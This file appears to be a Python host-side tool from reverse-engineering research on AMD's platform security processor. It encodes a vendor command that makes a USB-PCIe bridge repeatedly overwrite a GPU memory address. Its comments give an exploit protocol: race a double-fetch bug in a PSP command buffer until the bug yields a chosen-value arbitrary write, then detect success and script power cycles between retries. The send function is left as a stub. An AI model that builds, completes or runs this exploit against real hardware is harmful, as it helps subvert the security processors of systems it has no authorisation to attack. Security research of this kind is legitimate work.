#!/usr/bin/env python3 """ host_hammer.py -- host side for the gcp_hammer bridge handler (opcode 0xEB). Builds the 16-byte vendor CDB and sends it through the ASM2464PD vendor-command path (same mechanism tinygrad's usb.py uses for E4/E5/E7). ADAPT the `send_cdb` body to your actual USB stack -- this file only encodes the CDB + documents the experiment protocol; it does not assume a particular transport. SAFETY: the handler ignores any CDB that lacks the 32-bit magic 'HMR\\x01', so a typo here is inert rather than dangerous. Never point ADDR at anything but the intended research target. """ import struct HAMMER_OPCODE = 0xEB HAMMER_MAGIC = b'\x48\x4D\x52\x01' # "HMR\x01" def build_cdb(target_mc_addr: int, iters: int = 0x8000, run: bool = True) -> bytes: """target_mc_addr = the GPU-PCIe (MC) address of cmdBuf[0x818], i.e. paddr2mc(cp) + 0x818 in the AM driver. iters is clamped in firmware.""" assert 0 <= target_mc_addr < (1 << 40) flags = 0x01 if run else 0x00 cdb = bytearray(16) cdb[0] = HAMMER_OPCODE cdb[1] = flags cdb[2:6] = HAMMER_MAGIC cdb[6] = (target_mc_addr >> 24) & 0xFF cdb[7] = (target_mc_addr >> 16) & 0xFF cdb[8] = (target_mc_addr >> 8) & 0xFF cdb[9] = (target_mc_addr) & 0xFF cdb[10] = (target_mc_addr >> 32) & 0xFF # addr[39:32] cdb[12] = (iters >> 8) & 0xFF cdb[13] = (iters) & 0xFF return bytes(cdb) def send_cdb(dev, cdb: bytes) -> int: """ADAPT ME: push `cdb` out the bridge's vendor-command endpoint and return the status byte (handler returns 0xA5 on a completed run, 0xEE on reject). With tinygrad's usb.py this is an exec_ops() of a raw CDB op on EP 0x04.""" raise NotImplementedError("wire this to your bridge vendor-command transport") # --------------------------------------------------------------------------- # Experiment protocol (see amd-psp-re FINDING-GCP-FE09 Addendum 71) # --------------------------------------------------------------------------- # GOAL: observe one FE0A/QueryChannelType call that RETURNS CLEANLY (not the # 0xBB/fault signature) while writing a far-OOB chosen value -- i.e. the # cmdBuf[0x818] double-fetch was raced small->large->small. One success = a # survivable chosen-value arbitrary write primitive. # # OVERLAP CONSTRAINT: the ASM2464PD is a single 8051. It cannot forward host # commands while it is in the hammer loop, so the hammer must overlap the PSP's # autonomous FE0A execution. Two workable orderings: # # (A) Combined trigger (recommended): extend gcp_hammer_handler to issue the # PSP ring doorbell (one PCIe register write; compile-time constants in # the C file) *then* enter the loop. Host pre-stages the ring entry + cmd # buffer; the bridge fires the doorbell and immediately hammers, so the # PSP reads cmdBuf[0x818] mid-hammer. # # (B) Observability-first: before chasing survival, just prove the PSP ever # sees two different values. Stage an FE0A whose outcome differs between # "0x818 large" (write+fault) and "0x818 small" (bound-fail, no write), # run (A), and look for the mixed outcome (bound passed AND no fault). # # WIN DETECTION: after the FE0A call, read the response status word; a normal # status with the chosen value present at the OOB target (and no C2PMSG fault # dump) is the success. Expect to repeat many times -- it is a probabilistic # 3-point race; each miss that faults costs an ATX power cycle, so script that. # # Example (pseudocode, fill in your handshake + trigger): # PARAMS_VA = 0x04024000 # pinned cmd-buffer VA (Addendum 50) # target = adev.paddr2mc(cp) + 0x818 # cdb = build_cdb(target, iters=0x8000) # # ... stage FE07(set cmdBuf[6]=chosen) / FE08 / FE09 / FE0A(sel 2, far-OOB # # offset in cmdBuf[0x82C]); arm the PSP ring entry ... # status = send_cdb(dev, cdb) # bridge: (doorbell then) hammer # # ... read FE0A response + check for survival/landed write ... if __name__ == '__main__': import sys tgt = int(sys.argv[1], 0) if len(sys.argv) > 1 else 0x0 print('example CDB for target %#x:' % tgt, build_cdb(tgt).hex(' '))